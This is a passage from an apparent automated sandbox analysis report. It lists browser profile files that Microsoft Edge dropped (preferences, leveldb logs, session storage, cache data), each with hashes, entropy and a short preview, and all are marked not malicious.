Preview:	2024/11/19-03:06:07.525 1fe8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/19-03:06:07.528 1fe8 Recovering log #3.2024/11/19-03:06:07.531 1fe8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0646a05c-b650-47b7-ba61-cb31c1e53c35.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1b068921-aa84-4e3e-992e-23ae08f7e63b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\48529175-c25e-4e94-a425-dea25c04d769.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF36708.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7691
Entropy (8bit):	5.093275257722032
Encrypted:	false
SSDEEP:	192:stVisXx8CZihnkPsY8bV+FiA66WbfaFIMYZPLMJ:stVisXx8xh/bGix6WbfaTY2
MD5:	15DDFA8133CC0B981FD0ED639D3133C4
SHA1:	84059AAB481739FB0557468DA070613EA5D3D932
SHA-256:	66CDBE6D18F7892DA4DB38FE0299720890C6591E431AD4071340D5433744BD95
SHA-512:	0A947511EB8AF381D844EE160D0BF882AD92C303E4992A025796FAFB93E77645000C981EE8F324241126E7FCF9E5E0C57B7E34ADA22A0EDB1BCCCD96D0305E0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376477166913402","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13376477166899613"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3a113.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7691
Entropy (8bit):	5.093275257722032
Encrypted:	false
SSDEEP:	192:stVisXx8CZihnkPsY8bV+FiA66WbfaFIMYZPLMJ:stVisXx8xh/bGix6WbfaTY2
MD5:	15DDFA8133CC0B981FD0ED639D3133C4
SHA1:	84059AAB481739FB0557468DA070613EA5D3D932
SHA-256:	66CDBE6D18F7892DA4DB38FE0299720890C6591E431AD4071340D5433744BD95
SHA-512:	0A947511EB8AF381D844EE160D0BF882AD92C303E4992A025796FAFB93E77645000C981EE8F324241126E7FCF9E5E0C57B7E34ADA22A0EDB1BCCCD96D0305E0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376477166913402","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13376477166899613"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3d860.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7691
Entropy (8bit):	5.093275257722032
Encrypted:	false
SSDEEP:	192:stVisXx8CZihnkPsY8bV+FiA66WbfaFIMYZPLMJ:stVisXx8xh/bGix6WbfaTY2
MD5:	15DDFA8133CC0B981FD0ED639D3133C4
SHA1:	84059AAB481739FB0557468DA070613EA5D3D932
SHA-256:	66CDBE6D18F7892DA4DB38FE0299720890C6591E431AD4071340D5433744BD95
SHA-512:	0A947511EB8AF381D844EE160D0BF882AD92C303E4992A025796FAFB93E77645000C981EE8F324241126E7FCF9E5E0C57B7E34ADA22A0EDB1BCCCD96D0305E0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376477166913402","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13376477166899613"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF421dc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7691
Entropy (8bit):	5.093275257722032
Encrypted:	false
SSDEEP:	192:stVisXx8CZihnkPsY8bV+FiA66WbfaFIMYZPLMJ:stVisXx8xh/bGix6WbfaTY2
MD5:	15DDFA8133CC0B981FD0ED639D3133C4
SHA1:	84059AAB481739FB0557468DA070613EA5D3D932
SHA-256:	66CDBE6D18F7892DA4DB38FE0299720890C6591E431AD4071340D5433744BD95
SHA-512:	0A947511EB8AF381D844EE160D0BF882AD92C303E4992A025796FAFB93E77645000C981EE8F324241126E7FCF9E5E0C57B7E34ADA22A0EDB1BCCCD96D0305E0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376477166913402","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13376477166899613"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44d70.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7691
Entropy (8bit):	5.093275257722032
Encrypted:	false
SSDEEP:	192:stVisXx8CZihnkPsY8bV+FiA66WbfaFIMYZPLMJ:stVisXx8xh/bGix6WbfaTY2
MD5:	15DDFA8133CC0B981FD0ED639D3133C4
SHA1:	84059AAB481739FB0557468DA070613EA5D3D932
SHA-256:	66CDBE6D18F7892DA4DB38FE0299720890C6591E431AD4071340D5433744BD95
SHA-512:	0A947511EB8AF381D844EE160D0BF882AD92C303E4992A025796FAFB93E77645000C981EE8F324241126E7FCF9E5E0C57B7E34ADA22A0EDB1BCCCD96D0305E0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376477166913402","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13376477166899613"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24718
Entropy (8bit):	5.587109432507414
Encrypted:	false
SSDEEP:	768:j9havpWYQSfWG8F1+UoAYDCx9Tuqh0VfUC9xbog/OV5TYuDrwq/opetu9:j9havpWYQSfWGu1jaiUu4q/xt6
MD5:	CEDA9E02F24B54E79FAA25196F47CBBF
SHA1:	31284A7A499E58BCFD1D3F6EA3396B81BC8636CB
SHA-256:	535AA92CB418D5EBBCB69EBC9BB3C2B39FD62F1F6CC241D7AFF6EDC6803520CF
SHA-512:	C33FAA16A1D66998688CA555E47705BCC4BFCE934B4E0CA7CD314396BB6DB9F5C1F8F6D074BC0E39DC8B92A935182B564C3D8424C2416D5A9ECA55AA032B4814
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376477166227066","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376477166227066","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3a692.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24718
Entropy (8bit):	5.587109432507414
Encrypted:	false
SSDEEP:	768:j9havpWYQSfWG8F1+UoAYDCx9Tuqh0VfUC9xbog/OV5TYuDrwq/opetu9:j9havpWYQSfWGu1jaiUu4q/xt6
MD5:	CEDA9E02F24B54E79FAA25196F47CBBF
SHA1:	31284A7A499E58BCFD1D3F6EA3396B81BC8636CB
SHA-256:	535AA92CB418D5EBBCB69EBC9BB3C2B39FD62F1F6CC241D7AFF6EDC6803520CF
SHA-512:	C33FAA16A1D66998688CA555E47705BCC4BFCE934B4E0CA7CD314396BB6DB9F5C1F8F6D074BC0E39DC8B92A935182B564C3D8424C2416D5A9ECA55AA032B4814
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376477166227066","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376477166227066","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	194
Entropy (8bit):	2.8096948641228403
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljljljljljljljl:S85aEFljljljljljljljl
MD5:	D7D9437445AA960DCEA52FFE772822DC
SHA1:	C2BBF4AC0732D905D998C4F645FD60F95A675D02
SHA-256:	4FF49903BEC1197017A35995D5C5FC703CAF9D496467345D783F754B723D21C1
SHA-512:	335EB1BA85670550ED1E1E4E14EA4B5D14F8306125BF147A42DE4DEF5E5F75F14C422B014414030CF30378C04F748AC875CF056ADDA196511A0B057B3598FE9A
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.135562045050045
Encrypted:	false
SSDEEP:	6:HU8V7V+q2P923oH+TcwtrQMxIFUt8YU8V7QFU4Zmw+YU8V7LVkwO923oH+Tcwtrb:/gv4YebCFUt8eQl/+eR5LYebtJ
MD5:	A1185BC8B1D9AC06EFC1282D682F83D2
SHA1:	3F285D44CBA977A5A0467F0B8522DE80580F615A
SHA-256:	626FCA35FB337F9E0361693664ABFE294E063C87E731391AAAB24440259D53CB
SHA-512:	79063605EEB59BA61E1646FEC8665B9E1115CAA8EAAE1AA47F6FEFDD889C9D0DCDD547499B0393C366241C8CCFB51914A40F6AAB7ADA6DD72825A43ED0E3ED9E
Malicious:	false
Preview:	2024/11/19-03:06:23.368 1fe8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/19-03:06:23.369 1fe8 Recovering log #3.2024/11/19-03:06:23.371 1fe8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.135562045050045
Encrypted:	false
SSDEEP:	6:HU8V7V+q2P923oH+TcwtrQMxIFUt8YU8V7QFU4Zmw+YU8V7LVkwO923oH+Tcwtrb:/gv4YebCFUt8eQl/+eR5LYebtJ
MD5:	A1185BC8B1D9AC06EFC1282D682F83D2
SHA1:	3F285D44CBA977A5A0467F0B8522DE80580F615A
SHA-256:	626FCA35FB337F9E0361693664ABFE294E063C87E731391AAAB24440259D53CB
SHA-512:	79063605EEB59BA61E1646FEC8665B9E1115CAA8EAAE1AA47F6FEFDD889C9D0DCDD547499B0393C366241C8CCFB51914A40F6AAB7ADA6DD72825A43ED0E3ED9E
Malicious:	false
Preview:	2024/11/19-03:06:23.368 1fe8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/19-03:06:23.369 1fe8 Recovering log #3.2024/11/19-03:06:23.371 1fe8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.15546544074446
Encrypted:	false
SSDEEP:	6:HU8VOlZI+q2P923oH+Tcwt7Uh2ghZIFUt8YU8VOz6ZZmw+YU8VOAuTVkwO923oHT:Sv4YebIhHh2FUt8D6Z/+wu55LYebIhHd
MD5:	D0552C8ACEAF614FF8FF8A15E2BC22C3
SHA1:	995EDBDA3DDF24C28D4159000F3E8BD7705E87E9
SHA-256:	26F0C2630D5E3A273ABEE373A924FDE56C7D044A69402CC58192AC824896DA13
SHA-512:	4C0A8C7433CEC066BE19F149F7C4306D4824B73482E5276DDB927A85B889D6DD3E8C736421BC7FACC2388849A8A501F69BF82919359377F744F6DCBFA85272BF
Malicious:	false
Preview:	2024/11/19-03:06:06.522 1e98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/19-03:06:06.524 1e98 Recovering log #3.2024/11/19-03:06:06.525 1e98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.15546544074446
Encrypted:	false
SSDEEP:	6:HU8VOlZI+q2P923oH+Tcwt7Uh2ghZIFUt8YU8VOz6ZZmw+YU8VOAuTVkwO923oHT:Sv4YebIhHh2FUt8D6Z/+wu55LYebIhHd
MD5:	D0552C8ACEAF614FF8FF8A15E2BC22C3
SHA1:	995EDBDA3DDF24C28D4159000F3E8BD7705E87E9
SHA-256:	26F0C2630D5E3A273ABEE373A924FDE56C7D044A69402CC58192AC824896DA13
SHA-512:	4C0A8C7433CEC066BE19F149F7C4306D4824B73482E5276DDB927A85B889D6DD3E8C736421BC7FACC2388849A8A501F69BF82919359377F744F6DCBFA85272BF
Malicious:	false
Preview:	2024/11/19-03:06:06.522 1e98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/19-03:06:06.524 1e98 Recovering log #3.2024/11/19-03:06:06.525 1e98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.251219278234896
Encrypted:	false
SSDEEP:	6:HU8Vbt+q2P923oH+TcwtzjqEKj3K/2jMGIFUt8YU8VsB5Zmw+YU8VAIVkwO923od:Xov4YebvqBQFUt8NB5/+C5LYebvqBvJ
MD5:	8016BE182AC4247A18E2F04D76984E32
SHA1:	EEA7866F397B04090E7BF1F358E93662F69FB5C7
SHA-256:	3B3AFBD0A562402F5EAFE313771B3F0A386A651C9A1C8F64F905F679294EEEDA
SHA-512:	E8E2F378858F108B2A29F5023B5725F919701D722B7D60278A47CAD214685C27B8AFBC607AE4E753562AC65C940BDB4F2DCD389741A9B137FBF4D0BEC13E6922
Malicious:	false
Preview:	2024/11/19-03:06:07.542 1fe8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/19-03:06:07.543 1fe8 Recovering log #3.2024/11/19-03:06:07.546 1fe8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.251219278234896
Encrypted:	false
SSDEEP:	6:HU8Vbt+q2P923oH+TcwtzjqEKj3K/2jMGIFUt8YU8VsB5Zmw+YU8VAIVkwO923od:Xov4YebvqBQFUt8NB5/+C5LYebvqBvJ
MD5:	8016BE182AC4247A18E2F04D76984E32
SHA1:	EEA7866F397B04090E7BF1F358E93662F69FB5C7
SHA-256:	3B3AFBD0A562402F5EAFE313771B3F0A386A651C9A1C8F64F905F679294EEEDA
SHA-512:	E8E2F378858F108B2A29F5023B5725F919701D722B7D60278A47CAD214685C27B8AFBC607AE4E753562AC65C940BDB4F2DCD389741A9B137FBF4D0BEC13E6922
Malicious:	false
Preview:	2024/11/19-03:06:07.542 1fe8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/19-03:06:07.543 1fe8 Recovering log #3.2024/11/19-03:06:07.546 1fe8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\54308f89-6634-43ef-8b1b-8f233cb651cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\976c1688-d1f7-4876-886e-7703144ffc7d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
